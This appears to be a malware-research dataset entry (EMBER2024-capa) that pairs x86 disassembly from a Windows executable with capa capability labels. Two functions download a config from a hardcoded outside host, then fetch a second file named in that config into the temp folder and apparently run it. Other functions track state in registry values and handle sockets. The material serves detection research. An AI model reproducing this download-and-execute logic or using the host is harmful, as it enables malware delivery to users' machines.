joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403720
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
mov eax, dword [0x443018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x103
lea eax, [ebp - 0x12f]
push 0
push eax
mov byte [ebp - 0x130], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x24c]
push ecx
push 0x2001f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionczhandle
push reloc.WS2_32.dll_bind
mov dword [ebp - 0x258], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4038f2
lea edx, [ebp - 0x258]
push edx
mov edx, dword [ebp - 0x24c]
lea eax, [ebp - 0x130]
push eax
lea ecx, [ebp - 0x260]
push ecx
push 0
push str.bind_already
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x403904
cmp byte [0x4435d6], al
je 0x4038f2
call fcn.00402d50
cmp eax, dword [0x4436dc]
jge 0x4038f2
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x242]
movzx edx, word [ebp - 0x246]
movzx eax, word [ebp - 0x248]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
push ecx
push edx
push eax
lea ecx, [ebp - 0x24]
push 0x4400f4
push ecx
call edi
lea edx, [ebp - 0x25c]
push edx
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebp - 0x250]
push ecx
lea edx, [ebp - 0x130]
push 0x4402ac
push edx
call dword [sym.imp.MSVCR100.dll_sscanf]
movzx eax, word [ebp - 0x242]
movzx ecx, word [ebp - 0x246]
mov edx, dword [ebp - 0x25c]
push eax
mov eax, dword [ebp - 0x254]
push ecx
movzx ecx, word [ebp - 0x248]
push edx
mov edx, dword [ebp - 0x250]
call fcn.00403310
push 0x103
mov esi, eax
lea eax, [ebp - 0x237]
push 0
push eax
mov byte [ebp - 0x238], 0
call sub.MSVCR100.dll_memset
add esp, 0x40
push esi
lea ecx, [ebp - 0x238]
push 0x4402bc
push ecx
call edi
add esp, 0xc
cmp esi, dword [0x4431f0]
jl 0x4038e5
lea edx, [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x24c]
add eax, eax
add eax, eax
push eax
lea eax, [ebp - 0x24]
push eax
push 1
push 0
push str.bind_already
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x24c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.00402cc0
mov eax, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406648
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x24c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.00406648
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x248]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [ebp - 0x242]
movzx eax, word [ebp - 0x246]
movzx ecx, word [ebp - 0x248]
push edx
push eax
push ecx
lea edx, [ebp - 0x24]
push 0x4400f4
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [ebp - 0x24c]
add eax, eax
add eax, eax
push eax
lea ecx, [ebp - 0x24]
push ecx
push 1
push 0
push str.bind_already
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x24c]
push eax
jmp 0x4038c5
Function at 0x403970
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
mov eax, dword [0x443018]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x103
lea eax, [ebp - 0x12f]
push 0
push eax
mov byte [ebp - 0x130], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x144]
push ecx
push 0x2001f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionczhandle
push reloc.WS2_32.dll_bind
mov dword [ebp - 0x148], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403acf
lea edx, [ebp - 0x148]
push edx
mov edx, dword [ebp - 0x144]
lea eax, [ebp - 0x130]
push eax
lea ecx, [ebp - 0x14c]
push ecx
push 0
push str.data
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
lea eax, [ebp - 0x140]
push eax
jne 0x403a69
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x13a]
movzx edx, word [ebp - 0x13e]
movzx eax, word [ebp - 0x140]
push ecx
push edx
push eax
lea ecx, [ebp - 0x24]
push 0x4400f4
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x403a99
mov ecx, dword [ebp - 0x144]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406648
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x13a]
movzx edx, word [ebp - 0x13e]
movzx eax, word [ebp - 0x140]
push ecx
push edx
push eax
lea ecx, [ebp - 0x24]
push 0x4400f4
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea edx, [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x144]
add eax, eax
add eax, eax
push eax
lea eax, [ebp - 0x24]
push eax
push 1
push 0
push str.data
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x144]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.00406648
mov esp, ebp
pop ebp
ret

Function at 0x403ae0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 8]
push eax
push 0x2001f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionczhandle
push reloc.WS2_32.dll_bind
mov dword [ebp - 0xc], 4
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403b52
lea ecx, [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 8]
lea edx, [ebp - 4]
push edx
lea eax, [ebp - 0x10]
push eax
push 0
push str.cznv
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x403b52
inc dword [ebp - 4]
push 4
lea edx, [ebp - 4]
push edx
push 4
push eax
mov eax, dword [ebp - 8]
push str.cznv
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x403b60
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
mov eax, dword [0x443018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x103
lea eax, [ebp - 0x12f]
push 0
push eax
mov byte [ebp - 0x130], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x24c]
push ecx
push 0x2001f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionczhandle
push reloc.WS2_32.dll_bind
mov dword [ebp - 0x258], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403d10
lea edx, [ebp - 0x258]
push edx
mov edx, dword [ebp - 0x24c]
lea eax, [ebp - 0x130]
push eax
lea ecx, [ebp - 0x260]
push ecx
push 0
push str.already
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x403d22
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x242]
movzx edx, word [ebp - 0x246]
movzx eax, word [ebp - 0x248]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
push ecx
push edx
push eax
lea ecx, [ebp - 0x24]
push 0x4400f4
push ecx
call edi
lea edx, [ebp - 0x25c]
push edx
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebp - 0x250]
push ecx
lea edx, [ebp - 0x130]
push 0x4402ac
push edx
call dword [sym.imp.MSVCR100.dll_sscanf]
movzx eax, word [ebp - 0x242]
movzx ecx, word [ebp - 0x246]
mov edx, dword [ebp - 0x25c]
push eax
mov eax, dword [ebp - 0x254]
push ecx
movzx ecx, word [ebp - 0x248]
push edx
mov edx, dword [ebp - 0x250]
call fcn.00403310
push 0x103
mov esi, eax
lea eax, [ebp - 0x237]
push 0
push eax
mov byte [ebp - 0x238], 0
call sub.MSVCR100.dll_memset
add esp, 0x40
push esi
lea ecx, [ebp - 0x238]
push 0x4402bc
push ecx
call edi
add esp, 0xc
cmp esi, dword [0x4436fc]
jl 0x403d03
lea edx, [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x24c]
add eax, eax
add eax, eax
push eax
lea eax, [ebp - 0x24]
push eax
push 1
push 0
push str.already
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x24c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406648
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x24c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406648
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x248]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [ebp - 0x242]
movzx eax, word [ebp - 0x246]
movzx ecx, word [ebp - 0x248]
push edx
push eax
push ecx
lea edx, [ebp - 0x24]
push 0x4400f4
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [ebp - 0x24c]
add eax, eax
add eax, eax
push eax
lea ecx, [ebp - 0x24]
push ecx
push 1
push 0
push str.already
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x24c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov eax, 1
pop esi
call fcn.00406648
mov esp, ebp
pop ebp
ret
Function at 0x404850
Capabilities:
Delete file
Download url
Get common file path
Read .ini file
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x63c
mov eax, dword [0x443018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x52f]
push ebx
push eax
mov byte [ebp - 0x530], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
push ebx
push 0x1a
lea ecx, [ebp - 0x530]
push ecx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0x103
lea edx, [ebp - 0x10f]
push ebx
push edx
mov byte [ebp - 0x110], bl
call sub.MSVCR100.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
lea eax, [ebp - 0x530]
push eax
lea ecx, [ebp - 0x110]
push ecx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str._rlsvcfg.ini
lea edx, [ebp - 0x110]
push edx
call edi
push str.http:__xz.juzirl.com_rlsvcfg.ini
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push ebx
push ebx
lea eax, [ebp - 0x110]
push eax
push str.http:__xz.juzirl.com_rlsvcfg.ini
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
push 0x103
lea ecx, [ebp - 0x31f]
push ebx
push ecx
mov byte [ebp - 0x320], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x110]
push edx
push 0x104
lea eax, [ebp - 0x320]
push eax
push 0x43ffcc
push 0x440378
push str.config
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0x103
lea ecx, [ebp - 0x637]
push ebx
push ecx
mov byte [ebp - 0x638], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x110]
push edx
push 0x104
lea eax, [ebp - 0x638]
push eax
push 0x43ffcc
push str.name
push str.config
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0x103
push ebx
lea ecx, [ebp - 0x427]
mov byte [ebp - 0x428], bl
push ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x428]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x103
lea eax, [ebp - 0x217]
push ebx
push eax
mov byte [ebp - 0x218], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x428]
push ecx
lea edx, [ebp - 0x218]
push edx
call esi
lea eax, [ebp - 0x638]
push eax
lea ecx, [ebp - 0x218]
push ecx
call edi
lea edx, [ebp - 0x320]
push edx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push ebx
push ebx
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x320]
push ecx
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea edx, [ebp - 0x218]
push edx
call fcn.004024a0
add esp, 4
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406648
mov esp, ebp
pop ebp
ret
Function at 0x404a40
Capabilities:
Delete file
Download url
Get common file path
Read .ini file
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x63c
mov eax, dword [0x443018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x52f]
push ebx
push eax
mov byte [ebp - 0x530], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
push ebx
push 0x1a
lea ecx, [ebp - 0x530]
push ecx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0x103
lea edx, [ebp - 0x10f]
push ebx
push edx
mov byte [ebp - 0x110], bl
call sub.MSVCR100.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
lea eax, [ebp - 0x530]
push eax
lea ecx, [ebp - 0x110]
push ecx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str._rlsvcfg.ini
lea edx, [ebp - 0x110]
push edx
call edi
push str.http:__xz.juzirl.com_rlsvcfg.ini
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push ebx
push ebx
lea eax, [ebp - 0x110]
push eax
push str.http:__xz.juzirl.com_rlsvcfg.ini
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
push 0x103
lea ecx, [ebp - 0x31f]
push ebx
push ecx
mov byte [ebp - 0x320], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x110]
push edx
push 0x104
lea eax, [ebp - 0x320]
push eax
push 0x43ffcc
push 0x440378
push str.Mini
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0x103
lea ecx, [ebp - 0x637]
push ebx
push ecx
mov byte [ebp - 0x638], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x110]
push edx
push 0x104
lea eax, [ebp - 0x638]
push eax
push 0x43ffcc
push str.name
push str.Mini
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0x103
push ebx
lea ecx, [ebp - 0x427]
mov byte [ebp - 0x428], bl
push ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x428]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x103
lea eax, [ebp - 0x217]
push ebx
push eax
mov byte [ebp - 0x218], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x428]
push ecx
lea edx, [ebp - 0x218]
push edx
call esi
lea eax, [ebp - 0x638]
push eax
lea ecx, [ebp - 0x218]
push ecx
call edi
lea edx, [ebp - 0x320]
push edx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push ebx
push ebx
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x320]
push ecx
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea edx, [ebp - 0x218]
push edx
call fcn.004024a0
add esp, 4
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406648
mov esp, ebp
pop ebp
ret
Function at 0x406648
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x443018]
jne 0x406652
repz ret
jmp fcn.00406a65

Function at 0x406fd0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
mov eax, dword [0x443018]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x194]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x407020
mov eax, dword [ebp - 0x194]
cmp al, 2
jne 0x40701a
shr eax, 8
cmp al, 2
jne 0x40701a
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406648
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 2
call fcn.00406648
mov esp, ebp
pop ebp
ret
Function at 0x411140
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push 0
push eax
push ecx
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x411173
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
sub eax, 0x2733
neg eax
sbb eax, eax
and eax, 0xffffffe7
add eax, 0x51
pop ebp
ret
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
xor eax, eax
pop ebp
ret

Function at 0x4112b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [esi + 0x1a8]
test ecx, ecx
je 0x4112d2
mov edx, dword [esi + 0x134]
push edx
mov edx, dword [ebp + 8]
push ebx
push edx
push eax
push esi
call ecx
add esp, 0x14
pop ebp
ret
test eax, eax
js 0x41130b
cmp eax, 2
jg 0x41130b
mov ecx, dword [esi + 0x130]
push edi
mov edi, dword [sym.imp.MSVCR100.dll_fwrite]
push ecx
push 1
lea edx, [eax + eax*2 + 0x439028]
push 2
push edx
call edi
mov eax, dword [esi + 0x130]
mov ecx, dword [ebp + 8]
push eax
push 1
push ebx
push ecx
call edi
add esp, 0x20
pop edi
xor eax, eax
pop ebp
ret

Function at 0x4115e0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi + eax*4 + 0x154]
push edi
push 0
push ecx
push edx
push eax
call dword [sym.imp.WS2_32.dll_send]
mov ebx, dword [ebp + 0x18]
mov edi, eax
mov dword [ebx], 0
cmp edi, 0xffffffff
jne 0x41165c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp + 8], eax
cmp eax, 0x2733
jne 0x411631
pop edi
pop esi
mov dword [ebx], 0x51
xor eax, eax
pop ebx
pop ebp
ret
push eax
push esi
call fcn.004168a0
push eax
mov eax, dword [esi]
push str.Send_failure:__s
push eax
call fcn.00411470
mov ecx, dword [esi]
mov edx, dword [ebp + 8]
mov dword [ecx + 0x8614], edx
add esp, 0x14
mov dword [ebx], 0x37
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x413060
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x443018]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
cmp dword [esi + 0x470], eax
push 4
lea ecx, [ebp - 0x14]
push ecx
setne al
push 8
push 0xffff
push edi
mov dword [ebp - 0x14], eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x4130b3
push edi
push str.Failed_to_set_SO_KEEPALIVE_on_fd__d_n
push esi
call fcn.004113f0
add esp, 0xc
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406648
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + 0x474]
push edx
mov dword [ebp - 0x10], 1
call fcn.0042a1a0
imul eax, eax, 0x3e8
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], eax
mov eax, dword [esi + 0x478]
push eax
call fcn.0042a1a0
imul eax, eax, 0x3e8
add esp, 8
push 0
push 0
lea ecx, [ebp - 0x18]
push ecx
push 0
push 0
push 0xc
lea edx, [ebp - 0x10]
push edx
push 0x98000004
push edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], eax
call dword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
je 0x413125
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push edi
push str.Failed_to_set_SIO_KEEPALIVE_VALS_on_fd__d:__d_n
push esi
call fcn.004113f0
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406648
mov esp, ebp
pop ebp
ret
Function at 0x4137a0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x443018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
cmp dword [esi + 0x8c], 2
mov ebx, dword [esi]
mov dword [ebp - 0x108], esi
mov dword [ebp - 0x110], ebx
je 0x41397c
cmp dword [esi + 0x1d8], 0
push edi
jne 0x413972
mov edi, dword [ebp + 0xc]
lea eax, [ebp - 0x10c]
push eax
lea ecx, [ebp - 0x104]
push ecx
push edi
mov dword [ebp - 0x10c], 0x80
call dword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
je 0x413837
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
push edi
push esi
call fcn.004168a0
push eax
push edi
push str.getpeername___failed_with_errno__d:__s
push ebx
call fcn.00411470
add esp, 0x18
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406648
mov esp, ebp
pop ebp
ret
push 0x80
lea edx, [ebp - 0x84]
push 0
push edx
mov dword [ebp - 0x10c], 0x80
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp - 0x10c]
push eax
lea ecx, [ebp - 0x84]
push ecx
push edi
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x4138a0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
push edi
push esi
call fcn.004168a0
push eax
push edi
push str.getsockname___failed_with_errno__d:__s
push ebx
call fcn.00411470
add esp, 0x18
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406648
mov esp, ebp
pop ebp
ret
lea edi, [esi + 0xb8]
lea ebx, [esi + 0xe8]
lea esi, [ebp - 0x104]
mov dword [ebp - 0x114], edi
call fcn.00413760
test eax, eax
jne 0x4138fd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [ebp - 0x108]
mov esi, eax
push esi
push edx
call fcn.004168a0
push eax
mov eax, dword [ebp - 0x110]
push esi
push str.ssrem_inet_ntop___failed_with_errno__d:__s
push eax
call fcn.00411470
add esp, 0x18
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406648
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x108]
mov esi, dword [ebp - 0x114]
lea edi, [eax + 0x58]
mov ecx, 0xb
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea ebx, [eax + 0x11c]
lea edi, [eax + 0xec]
lea esi, [ebp - 0x84]
call fcn.00413760
test eax, eax
jne 0x41396c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 0x108]
mov esi, eax
push esi
push ecx
call fcn.004168a0
mov edx, dword [ebp - 0x110]
push eax
push esi
push str.ssloc_inet_ntop___failed_with_errno__d:__s
push edx
call fcn.00411470
add esp, 0x18
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406648
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 0x108]
push esi
call fcn.00413700
add esp, 4
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00406648
mov esp, ebp
pop ebp
ret
Function at 0x413990
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [edi]
mov eax, dword [esi + 0x364]
push 4
lea ecx, [ebp - 4]
push ecx
push 1
push 6
push edx
mov dword [ebp - 4], eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x4139d6
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push edi
call fcn.004168a0
push eax
push str.Could_not_set_TCP_NODELAY:__s_n
push esi
call fcn.004113f0
add esp, 0x14
pop esi
mov esp, ebp
pop ebp
ret
push str.TCP_NODELAY_set_n
push esi
call fcn.004113f0
add esp, 8
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4139f0
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
mov eax, dword [0x443018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x4435bc]
push esi
mov dword [ebp - 0xa4], 0x4020
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xac], 4
test eax, eax
jne 0x413aba
push 0x9c
push eax
lea eax, [ebp - 0xa0]
push eax
call sub.MSVCR100.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
add esp, 0xc
push 3
push 2
push 0
push 0
mov dword [ebp - 0xa0], 0x9c
mov dword [ebp - 0x9c], 6
call esi
push 3
push 1
push edx
push eax
call esi
push 3
push 0x20
push edx
push eax
call esi
push 3
push 0x10
push edx
push eax
call esi
push edx
push eax
push 0x33
lea ecx, [ebp - 0xa0]
push ecx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
test eax, eax
je 0x413aae
mov dword [0x4435bc], 2
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406648
mov esp, ebp
pop ebp
ret
mov dword [0x4435bc], 1
jmp 0x413abf
cmp eax, 2
je 0x413b0d
mov esi, dword [ebp + 8]
lea edx, [ebp - 0xac]
push edx
lea eax, [ebp - 0xa8]
push eax
push 0x1001
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x413af3
mov ecx, dword [ebp - 0xa8]
cmp ecx, dword [ebp - 0xa4]
jg 0x413b0d
push 4
lea edx, [ebp - 0xa4]
push edx
push 0x1001
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00406648
mov esp, ebp
pop ebp
ret

Function at 0x413b40
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, dword [edi + 0x5d8]
test esi, esi
je 0x413b97
mov eax, dword [edi + 0x44]
test eax, eax
jne 0x413b61
cmp dword [edi + 0x40], eax
je 0x413b97
mov dword [ebp - 8], esi
mov dword [ebp - 4], 0
test eax, eax
jne 0x413b72
mov eax, dword [edi + 0x40]
push 0x413b20
lea ecx, [ebp - 8]
add eax, 0x68
push ecx
push eax
call fcn.0042fec0
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x413ba0
mov dword [edi + 0x5d8], 0
pop edi
or eax, 0xffffffff
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x413ba9
mov dword [eax], esi
cmp dword [esi + 0x17c], 0
mov edi, dword [esi + 0x154]
jne 0x413b97
push 2
push 1
lea edx, [ebp + 0xb]
push edx
push edi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x413b97
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret